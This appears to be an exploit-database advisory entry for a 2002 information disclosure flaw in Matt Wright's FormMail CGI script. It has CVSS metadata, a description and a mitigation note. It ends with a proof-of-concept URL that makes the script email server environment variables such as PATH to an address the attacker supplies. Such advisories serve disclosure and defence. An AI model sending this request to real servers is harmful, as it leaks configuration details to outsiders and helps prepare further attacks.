Matt Wright FormMail Unauthorized Remote Information Disclosure Vulnerability

vendor:

FormMail

by:

SecurityFocus

4.3

CVSS

MEDIUM

Information Disclosure Vulnerability

200

CWE

Product Name: FormMail

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2002

Matt Wright FormMail Unauthorized Remote Information Disclosure Vulnerability

An unauthorized remote user is capable of obtaining CGI environmental variable information from a web server running Matt Wright FormMail by requesting a specially formed URL that specifies the email address to send the details to. This is accomplished by specifying a particular CGI environmental variable such as PATH, DOCUMENT_ROOT, SERVER_PORT in the specially formed URL which will email the results to the address given. The information obtained could possibly be used to assist in a future attack.

Mitigation:

Ensure that the web server is running the latest version of Matt Wright FormMail and that all unnecessary CGI environmental variables are removed.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/1187/info

An unauthorized remote user is capable of obtaining CGI environmental variable information from a web server running Matt Wright FormMail by requesting a specially formed URL that specifies the email address to send the details to. This is accomplished by specifying a particular CGI environmental variable such as PATH, DOCUMENT_ROOT, SERVER_PORT in the specially formed URL which will email the results to the address given. The information obtained could possibly be used to assist in a future attack.

http:/target/cgibin/formmail.cgi?env_report=PATH&recipient=<email address>&required=&firstname=&lastname=&email=&message=&Submit=<message>
This URL request assumes that the formmail.cgi script is located in the cgibin directory.